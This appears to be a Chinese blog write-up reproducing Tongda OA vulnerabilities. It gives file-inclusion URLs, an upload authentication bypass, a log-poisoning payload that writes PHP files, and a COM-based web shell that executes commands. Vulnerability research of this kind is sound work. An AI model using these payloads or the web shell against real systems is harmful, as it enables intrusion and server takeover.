通達oa 2013 php解密,通達OA漏洞學習 - 安全先師的個人空間 - OSCHINA - 中文開源技術交流社區...

47e6aab5c74aab532a2ad7f5aaaaf36a.gif

說明

通達OA漏洞在去年上半年已爆出,這不趁著周末沒事做,將源碼下載下來進行復現學習。

文件包含測試

文件包含檢測,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含訪問mysql.ini,檢查是否有某些特定字符串 ,比如innodb_log_group_home_dir

6f028d7dabbe5faef07d6a6a23ba1330.png

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log

利用文件包含訪問OA日志

dac70d4ade98f325ee1ecae143730eb5.png

復現

源碼下載

鏈接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg提取碼:vab0

是個exe,安裝解壓完是php代碼。用Sublime打開,都是16進制加密

f3bac2dd2e0c7d11ef1be730d48ddc1b.png

用notepad打開顯示,zend加密,

561564c51526362700a5c3ccaab4b39a.png

php在線解密網站:http://dezend.qiling.org/free.html

解密出源代碼。

文件上傳

ispirit/im/upload.php

要上傳首先需要繞過登陸驗證,在本系統中auth.php是登陸驗證的相關邏輯,但在upload.php未修復前,如果$P非空就不需要經過auth.php驗證即可執行后續代碼。利用此處邏輯漏洞可繞過登陸驗證直接上傳文件。

712d9a14d8b79058f954314db2e98bb8.png

經過下載源碼測試,上傳后的文件在MYOA/attach/im/2003/目錄下。因上傳后的文件不在根目錄,所以無法直接利用,因此需要進行文件包含。

02c23804469cad3f060ea4e9782ab9f4.png

文件包含

6bbf3c07d2185dc0f7735c2e25d1cdae.png

與上傳相反,這里不傳P參數就可以文件包含。未修復前,可通過精心構造json進入47行的includ_once進行文件包含。官方在補丁中過濾了 ,防止用戶讀取其他目錄文件。

POC

poc有很多,其一,首先構造url并訪問,在日志中寫入一句話,原理是OA默認會將訪問url,agent寫日志。

/ispirit/interface/gateway.php?json={}&a=<?php ?file_put_contents('1.php','hello123');?>

先在瀏覽器訪問,

71bdd57bd768a86bc53f99f2ca52d354.png

發現"

cbbfcaea8a83cf4701461fc8f575cd69.png

用burp重新發包。

e21786b9dbc6f88594f81268c82ef182.png

成功寫入日志。(寫日志的方式省去了上傳)

36e36828a8cd8481b85ca61c78513bd5.png

文件包含

2c864521c8f6296a13e6470222a955cb.png

如果php poc 為<?php file_put_contents('1.php','hello123');?>

則上傳到 存在漏洞文件 gateway.php 同級目錄,如果php poc為<?php file_put_contents('../1.php','hello123');?>,則上傳到 上一級目錄 ispirit 目錄下。注意路徑。

exp

通過 upload.php 上傳一個文件,可自定義后綴名。經過下載源碼測試,上傳后的文件在MYOA/attach/im/2003/目錄下。

思路一:

上傳一個寫shell的php文件,在利用文件包含寫shell。

具體見exp.py。

思路二:

執行cmd,

MYOA/bin/ 目錄下的 php.ini 禁用了一些執行,命令的函數。

disable_functions?=?exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

參考

使用com組件繞過disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html

eg:

<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //調用對象方法來執行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

這里寫的exp總是將post數據自動url編碼。達不到burp的效果。

8cce962ef7d813d0340e6d9489734a17.png

a3fc6ca99b71dfd00bdcfa4966c0cb8e.png

需要先設置一次請求頭setHeader("Content-Type", "application/x-www-form-urlencoded")再將數據拼接成string格式再進行發送 ,終于寫成了exp2.py。

版本路徑

不同環境路徑不同。

例如2013:/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017:/ispirit/im/upload.php/mac/gateway.php

后記

一些趣事,正常該用post包含的。

e6c5007dde0df47d3dbded2f8ef34f53.png

get包含就很玄學了。正常get請求(不空行)是不行的,在瀏覽器GET請求也是不能包含的。

ae897ece66356e0eda35b2af289cc59d.png

注意看我光標位置。必須空出來一行,否則不成功。get無請求體,不知道是什么原因。

c4183fa1a10ccb4726b72c3a8dcbe88b.png

空兩行試試

b9291746596dbe330c14e0d4711925c0.png

發包,Content-Length都有了,可真牛啊。

9449bd84c682b0d1ee725889fbe7ea12.png

wireshark抓個包,get沒請求體呀。見strange-get-include.pcap。

26f7cee8c2013788b9ba4b89e6462716.png

往期精彩

753a11436688cb6241bb6f91c65ba10e.png

感興趣的可以點個關注!!!

關注「安全先師」

把握前沿安全脈搏

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/542540.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/542540.shtml
英文地址,請注明出處:http://en.pswp.cn/news/542540.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

溫趙輪 訪談

“溫趙輪”三大軟狗&#xff0c;你聽說過嗎&#xff1f;今天的1024訪談錄給大家介紹的就是程序員中當之無愧的偶像組合——溫趙輪。 Winter寒冬。阿里P8&#xff0c;正在向P9的道路上奔跑。傳說中的他有錢、出身好&#xff0c;可不是搞互聯網的屌絲程序員。 老趙&#xff0c;…

linux開源文檔管理系統_Linux中的系統管理員問題 免費和開源軟件

linux開源文檔管理系統根帳號 (Root Account) The "root" account is the most unrestrictive account on a Linux Operating system. This account enables you to complete all features of System admin, including accounts, changing client passwords, looking…

matlab上機實驗1,上機實驗1:熟悉matlab基本操作

其中 x 在 [-2, 2] 間共等切分為 21 點&#xff0c;y 在 [-1, 1] 間共等切分為 21 點&#xff0c;所以此曲面共有 21*21441 個點。a. 請用預設的顏色對應表(Colormap)來畫出此曲面。 b. 請以曲面的斜率來設定曲面的顏色。 c. 請以曲面的曲率來設定曲面的顏色。2. 請用 meshc 指…

公眾號 -「前端攻略 開光篇」

作為一枚程序員&#xff0c;每件重要項目的開始都忍不住使用"Hello World"。 這個公眾號是不是來晚了&#xff1f;如果你有這個疑問&#xff0c;那么我想說&#xff1a;對于寫作和思考&#xff0c;任何時候都不晚。我用四個簡單的自問自答&#xff0c;來講講這個前端…

python 桌面應用 啟動緩慢_如何加快Python 應用的啟動時間

我聽說pipenv9.0.2已經發布&#xff0c;啟動時間有了很大的改進。 我很快就試了一下&#xff0c;但我覺得并不快。所以我用Python3.7的新特性來研究它。 在本文中&#xff0c;我將介紹該特性以及如何使用它。 啟動時間≒導入時間 例如&#xff0c;pipenv -h 的執行時間比顯示幫…

python單詞首字母大寫_在Python中將每個單詞的首字母大寫

python單詞首字母大寫Here, we are implementing a python program to capitalizes the first letter of each word in a string. 在這里&#xff0c;我們正在實現一個python程序來大寫字符串中每個單詞的首字母。 Example: 例&#xff1a; Input: "HELLO WORLD!"O…

matlab中求模最大,matlab求取模極大值時出錯

本帖最后由 Nate_ 于 2016-4-17 15:57 編輯points1024 時&#xff0c;有波形輸出&#xff0c;但信號有5438個點。改為5438就不行。主程序&#xff1a;%小波模極大值重構是采用的交替投影法close all;points5438; level4; sr360; num_inter6; wfdb4;%所處理數據的…

stl向量_如何檢查C ++ STL中向量中是否存在元素?

stl向量Given a vector and an element to be searched in the vector. 給定一個向量和要在向量中搜索的元素。 To check whether an elements exists in a vector or not – we use find() function. find() function takes 3 arguments. 要檢查向量中是否存在元素 –我們使用…

java socket如何請求485協議_javaSE第十五部分 網絡編程(1)Socket和ServerSocket

網絡編程基礎知識C/S結構&#xff1a;全稱為Client/Server結構&#xff0c;是指客戶端和服務器結構。常見程序有&#xff31;&#xff31;、迅雷等軟件。B/S結構&#xff1a;全稱為Browser/Server結構&#xff0c;是指瀏覽器和服務器結構。常見瀏覽器有谷歌、火狐等。兩種架構各…

【分享】linux下u盤使用

2019獨角獸企業重金招聘Python工程師標準>>> linux下u盤使用 方案一&#xff1a; Linux不像Windows一樣&#xff0c;接上新硬件后可以自動識別&#xff0c;在Linux下無法自動識別新硬件的&#xff0c;需要手動去識別。USB移動存儲設備通常被識別為sda1&#xff0c;…

kotlin中判斷字符串_Kotlin程序刪除字符串中所有出現的字符

kotlin中判斷字符串Given a string and a character, we have to remove all occurrences of the character in given string. 給定一個字符串和一個字符&#xff0c;我們必須刪除給定字符串中所有出現的字符。 Example: 例&#xff1a; Input:string "includeHelp Del…

Java9中使用jpa,jpa – eclipselink在Java 9上使用final字段進行靜態編織

我有一些JPA注釋字段,如下所示&#xff1a;Column(name "SOME_FIELD", updatable false, nullable false)private final String someField;當實體插入數據庫時??,這些字段存儲在數據庫中.它們無法進一步更新.對于Java編程語言,可以將這些字段視為final.使用Ecli…

python語言程序設計及醫學應用_Python語言程序設計(高等學校計算機專業規劃教材)...

第1章Python語言概述/1 1.1Python語言的發展1 1.1.1Python的起源1 1.1.2Python的發展2 1.2Python語言的特點2 1.2.1Python的特性2 1.2.2Python的缺點4 1.2.3Python與其他語言的比較5 1.3簡單的Python程序介紹5 1.4Python的程序開發工具8 1.4.1Python的版本選擇8 1.4.2Python的安…

swift 3.0 中使用 xib

文章寫于2016年9月底&#xff0c;Xcode 8&#xff0c;swift 3.0真是蛋疼&#xff0c;折騰了很長時間&#xff0c;試了網上很多教程&#xff0c;結果又莫名的可以了&#xff01; 1.方法和OC中一樣 將一個xib文件和一個ViewController類進行關聯的幾步操作&#xff1a; command &…

數字圖像處理圖像反轉的實現_使用8086微處理器反轉16位數字

數字圖像處理圖像反轉的實現Problem statement: 問題陳述&#xff1a; Write an assembly language program in 8086 microprocessor to reverse 16 bit number using 8 bits operation. 在8086微處理器中編寫匯編語言程序&#xff0c;以使用8位操作反轉16位數字。 Example: …

php猴子找大王算法,教程方法;php實現猴子選大王問題算法實例電腦技巧-琪琪詞資源網...

琪琪詞資源網-教程方法;php實現猴子選大王問題算法實例電腦技巧&#xff0c;以下是給大家帶來的教程方法;php實現猴子選大王問題算法實例&#xff0c;大家可以了解一下哦!下面為你介紹php實現猴子選大王問題算法實例。本文實例講述了php實現猴子選大王問題算法。分享給大家供大…

numpy 歸一化_NumPy 數據歸一化、可視化

僅使用 NumPy&#xff0c;下載數據&#xff0c;歸一化&#xff0c;使用 seaborn 展示數據分布。下載數據import numpy as npurl https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.datawid np.genfromtxt(url, delimiter,, dtypefloat, usecols[1])僅提取…

java虛擬機規范閱讀(三)異常

Java虛擬機里面的異常使用Throwable或其子類的實例來表示&#xff0c;拋異常的本質實際上是程序控制權的一種即時的、非局部&#xff08;Nonlocal&#xff09;的轉換——從異常拋出的地方轉換至處理異常的地方。絕大多數的異常的產生都是由于當前線程執行的某個操作所導致的&am…

puppeteer api_使用Node.js和puppeteer API從URL創建PDF文件

puppeteer apiWe will continue using Node.js and puppeteer which is a node library. As we saw in our last article, Puppeteer is a Node library developed by Google and provides a high-level API for developers. 我們將繼續使用Node.js和puppeteer(這是一個節點庫)…

python線程同步鎖_[python] 線程間同步之Lock RLock

為什么需要同步 同樣舉之前的例子&#xff0c;兩個線程分別對同一個全局變量進行加減&#xff0c;得不到預期結果&#xff0c;代碼如下&#xff1a; total 0 def add(): global total for i in range(1000000): total 1 def desc(): global total for i in range(1000000): t…